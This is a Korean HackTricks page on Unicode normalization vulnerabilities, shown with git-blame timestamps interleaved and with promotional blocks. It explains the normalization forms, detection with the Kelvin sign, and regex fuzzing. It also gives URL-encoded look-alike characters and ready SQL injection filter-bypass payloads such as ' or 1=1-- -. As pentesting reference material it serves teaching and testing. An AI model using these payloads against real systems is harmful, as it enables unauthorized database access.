2024-02-10 21:30:13 +00:00
# 유니코드 정규화
2022-05-01 13:25:53 +00:00
2022-04-28 16:01:33 +00:00
< details >
2024-04-18 03:39:53 +00:00
< summary > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > 를 통해 **제로**부터 **히어로**까지 **AWS 해킹**을 배우세요!< / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
HackTricks를 지원하는 다른 방법:
2024-01-01 17:15:42 +00:00
2024-04-18 03:39:53 +00:00
* **회사를 HackTricks에서 광고**하거나 **PDF로 HackTricks 다운로드**하려면 [**구독 요금제** ](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그** ](https://peass.creator-spring.com )를 얻으세요
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )를 발견하세요, 당사의 독점 [**NFTs** ](https://opensea.io/collection/the-peass-family ) 컬렉션
* **💬 [디스코드 그룹 ](https://discord.gg/hRep4RUj7f )**에 가입하거나 [텔레그램 그룹 ](https://t.me/peass )에 가입하거나 **트위터** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )를 **팔로우**하세요.
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
2022-04-28 16:01:33 +00:00
< / details >
2024-04-18 03:39:53 +00:00
## WhiteIntel
2020-07-15 15:43:14 +00:00
2024-04-18 03:39:53 +00:00
< figure > < img src = ".gitbook/assets/image (1224).png" alt = "" > < figcaption > < / figcaption > < / figure >
2020-07-15 15:43:14 +00:00
2024-04-18 03:39:53 +00:00
[**WhiteIntel** ](https://whiteintel.io )는 **다크 웹**을 활용한 검색 엔진으로, **무료** 기능을 제공하여 회사나 그 고객이 **스틸러 악성 소프트웨어**에 의해 **침해**되었는지 확인할 수 있습니다.
2020-07-15 15:43:14 +00:00
2024-04-18 03:39:53 +00:00
WhiteIntel의 주요 목표는 정보를 도난당한 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.
2020-07-15 15:43:14 +00:00
2024-04-18 03:39:53 +00:00
그들의 웹사이트를 확인하고 **무료**로 엔진을 시험해 볼 수 있습니다:
2024-02-05 02:29:11 +00:00
2024-04-18 03:39:53 +00:00
{% embed url="https://whiteintel.io" %}
2024-02-05 02:29:11 +00:00
2024-04-18 03:39:53 +00:00
---
2024-02-05 02:29:11 +00:00
2024-04-18 03:39:53 +00:00
**이것은** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/** ](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/ ) **의 요약입니다.** 자세한 내용은 확인하세요 (이미지는 해당 사이트에서 가져옴).
2024-02-05 02:29:11 +00:00
2024-04-18 03:39:53 +00:00
## 유니코드와 정규화 이해
2024-02-05 02:29:11 +00:00
2024-04-18 03:39:53 +00:00
유니코드 정규화는 문자의 서로 다른 이진 표현이 동일한 이진 값으로 표준화되도록 하는 프로세스입니다. 이 프로세스는 프로그래밍 및 데이터 처리에서 문자열을 다룰 때 중요합니다. 유니코드 표준은 두 가지 유형의 문자 동등성을 정의합니다:
2020-07-15 15:43:14 +00:00
2024-04-18 03:39:53 +00:00
1. **정규 동등성** : 문자가 인쇄되거나 표시될 때 동일한 모양과 의미를 가지면 정규적으로 동등하다고 간주됩니다.
2. **호환 동등성** : 문자가 같은 추상적인 문자를 나타낼 수 있지만 다르게 표시될 수 있는 더 약한 형태의 동등성입니다.
2020-07-15 15:43:14 +00:00
2024-04-18 03:39:53 +00:00
**네 가지 유니코드 정규화 알고리즘**이 있습니다: NFC, NFD, NFKC 및 NFKD. 각 알고리즘은 정규 및 호환 정규화 기술을 다르게 적용합니다. 더 자세한 이해를 위해 [Unicode.org ](https://unicode.org/ )에서 이러한 기술을 탐색할 수 있습니다.
### 유니코드 인코딩의 주요 요점
특히 다른 시스템이나 언어 간의 상호 운용성 문제를 다룰 때 유니코드 인코딩을 이해하는 것이 중요합니다. 주요 요점은 다음과 같습니다:
* **코드 포인트 및 문자**: 유니코드에서 각 문자나 기호는 "코드 포인트"라고 하는 숫자 값이 할당됩니다.
* **바이트 표현**: 코드 포인트(또는 문자)는 메모리에서 하나 이상의 바이트로 표시됩니다. 예를 들어, 영어권 국가에서 일반적인 LATIN-1 문자는 하나의 바이트를 사용하여 표시됩니다. 그러나 더 많은 문자 집합을 갖는 언어는 표현에 더 많은 바이트가 필요합니다.
* **인코딩**: 이 용어는 문자가 일련의 바이트로 변환되는 방식을 의미합니다. ASCII 문자는 하나의 바이트로 표시되며, 다른 문자에는 최대 네 바이트까지 사용됩니다.
* **데이터 처리**: 데이터를 처리하는 시스템은 바이트 스트림을 문자로 올바르게 변환하기 위해 사용된 인코딩을 알아야 합니다.
* **UTF의 변형**: UTF-8 외에도 UTF-16(최소 2바이트, 최대 4바이트 사용) 및 UTF-32(모든 문자에 4바이트 사용)와 같은 다른 인코딩 표준이 있습니다.
이러한 개념을 이해하여 유니코드의 복잡성 및 다양한 인코딩 방법에서 발생할 수 있는 잠재적인 문제를 효과적으로 처리하고 완화하는 것이 중요합니다.
두 개의 다른 바이트를 표현하는 유니코드를 정규화하는 예시:
2024-02-05 02:29:11 +00:00
```python
unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")
```
2024-04-18 03:39:53 +00:00
**유니코드 동등 문자 목록은 여기에서 찾을 수 있습니다:** [https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html ](https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html ) 및 [https://0xacb.com/normalization\_table ](https://0xacb.com/normalization\_table )
2020-07-15 15:43:14 +00:00
2024-04-18 03:39:53 +00:00
### 발견
2020-07-15 15:43:14 +00:00
2024-04-18 03:39:53 +00:00
웹 앱 내에서 에코되는 값이 발견된다면, ** 'KELVIN SIGN' (U+0212A)**을 보낼 수 있습니다. 이는 ** "K"로 정규화**됩니다 ( `%e2%84%aa` 로 보낼 수 있음). ** "K"가 에코되면**, 어떤 종류의 **유니코드 정규화**가 수행 중입니다.
2020-07-15 15:43:14 +00:00
2024-04-18 03:39:53 +00:00
다른 **예시** : `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` 를 **유니코드** 후에는 `Leonishan` 이 됩니다.
2020-07-15 15:43:14 +00:00
2024-02-10 21:30:13 +00:00
## **취약한 예시**
2020-07-15 15:43:14 +00:00
2024-02-10 21:30:13 +00:00
### **SQL Injection 필터 우회**
2020-07-15 15:43:14 +00:00
2024-04-18 03:39:53 +00:00
사용자 입력을 사용하여 SQL 쿼리를 만들 때 문자 `'` 를 사용하는 웹 페이지를 상상해보십시오. 이 웹은 보안 조치로 사용자 입력에서 문자 `'` 의 모든 발생을 **삭제**하지만 **그 삭제 후** 및 **쿼리 생성 전**에 사용자 입력을 **유니코드**로 **정규화**합니다.
2020-07-15 15:43:14 +00:00
2024-04-18 03:39:53 +00:00
그런 다음, 악의적인 사용자는 `%ef%bc%87` 와 같이 `' (0x27)` 에 해당하는 다른 유니코드 문자를 삽입할 수 있습니다. 입력이 정규화되면 단일 인용부호가 생성되고 **SQLInjection 취약점**이 나타납니다:
2020-07-15 15:43:14 +00:00
2024-04-18 03:39:53 +00:00
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/ ](<../../.gitbook/assets/image (699 ).png>)
2020-07-15 15:43:14 +00:00
2024-02-10 21:30:13 +00:00
**일부 흥미로운 유니코드 문자**
2020-07-15 15:43:14 +00:00
* `o` -- %e1%b4%bc
* `r` -- %e1%b4%bf
* `1` -- %c2%b9
* `=` -- %e2%81%bc
* `/` -- %ef%bc%8f
2022-04-06 08:57:29 +00:00
* `-` -- %ef%b9%a3
* `#` -- %ef%b9%9f
* `*` -- %ef%b9%a1
2020-07-15 15:43:14 +00:00
* `'` -- %ef%bc%87
* `"` -- %ef%bc%82
* `|` -- %ef%bd%9c
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
' or 1=1-- -
%ef%bc%87+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3
" or 1=1-- -
%ef%bc%82+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3
' || 1==1//
%ef%bc%87+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f
" || 1==1//
%ef%bc%82+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f
```
2024-02-10 21:30:13 +00:00
#### sqlmap 템플릿
2022-10-16 14:05:57 +00:00
{% embed url="https://github.com/carlospolop/sqlmap_to_unicode_template" %}
2024-04-18 03:39:53 +00:00
### XSS (Cross Site Scripting)
2020-07-15 15:43:14 +00:00
2024-04-18 03:39:53 +00:00
웹앱을 속이고 XSS를 악용하기 위해 다음 문자 중 하나를 사용할 수 있습니다:
2020-07-15 15:43:14 +00:00
2024-04-18 03:39:53 +00:00
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/ ](<../../.gitbook/assets/image (312 ) (2).png>)
2020-07-15 15:43:14 +00:00
2024-04-18 03:39:53 +00:00
예를 들어, 제안된 첫 번째 Unicode 문자는 `%e2%89%ae` 또는 `%u226e` 로 전송될 수 있습니다.
2020-07-15 15:43:14 +00:00
2024-04-18 03:39:53 +00:00
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/ ](<../../.gitbook/assets/image (215 ) (1) (1).png>)
2022-12-05 11:09:36 +00:00
2024-04-18 03:39:53 +00:00
### Fuzzing Regexes
2022-12-05 11:09:36 +00:00
2024-04-18 03:39:53 +00:00
백엔드가 **정규식으로 사용자 입력을 확인**할 때, **입력**이 **정규식을 위해 정규화**되지만 **사용되는 곳**에는 **정규화되지 않을 수 있습니다** . 예를 들어, Open Redirect 또는 SSRF에서 정규식은 **전송된 URL을 정규화**하지만 그 후에는 **원래 그대로 액세스**할 수 있습니다.
2022-12-05 11:09:36 +00:00
2024-04-18 03:39:53 +00:00
도구 [**recollapse** ](https://github.com/0xacb/recollapse )은 백엔드를 fuzz하기 위해 **입력의 변형을 생성**할 수 있습니다. 자세한 정보는 **github** 및 이 [**포스트** ](https://0xacb.com/2022/11/21/recollapse/ )를 확인하십시오.
2020-07-15 15:43:14 +00:00
2024-02-10 21:30:13 +00:00
## 참고 자료
2024-04-18 03:39:53 +00:00
2022-04-05 22:24:52 +00:00
* [**https://labs.spotify.com/2013/06/18/creative-usernames/** ](https://labs.spotify.com/2013/06/18/creative-usernames/ )
* [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work** ](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work )
* [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html** ](https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html )
2022-04-28 16:01:33 +00:00
2024-04-18 03:39:53 +00:00
## WhiteIntel
< figure > < img src = ".gitbook/assets/image (1224).png" alt = "" > < figcaption > < / figcaption > < / figure >
[**WhiteIntel** ](https://whiteintel.io )은 **다크 웹**을 기반으로 하는 검색 엔진으로, 회사나 그 고객이 **stealer malwares**에 의해 **침해**당했는지 확인하는 **무료** 기능을 제공합니다.
WhiteIntel의 주요 목표는 정보를 도난하는 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격에 대항하는 것입니다.
그들의 웹사이트를 확인하고 **무료**로 엔진을 시도해 볼 수 있습니다:
{% embed url="https://whiteintel.io" %}
2022-04-28 16:01:33 +00:00
< details >
2024-04-18 03:39:53 +00:00
< summary > < strong > 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
HackTricks를 지원하는 다른 방법:
2024-01-01 17:15:42 +00:00
2024-04-18 03:39:53 +00:00
* **회사를 HackTricks에 광고하거나 PDF로 다운로드하려면** [**구독 요금제** ](https://github.com/sponsors/carlospolop )를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그** ](https://peass.creator-spring.com )를 얻으세요
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )를 발견하세요, 당사의 독점 [**NFTs** ](https://opensea.io/collection/the-peass-family ) 컬렉션
* **💬 [디스코드 그룹 ](https://discord.gg/hRep4RUj7f )에 가입하거나 [텔레그램 그룹 ](https://t.me/peass )에 가입하거나** **트위터** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**를 팔로우하세요.**
* **HackTricks 및 HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요** .
2022-04-28 16:01:33 +00:00
< / details >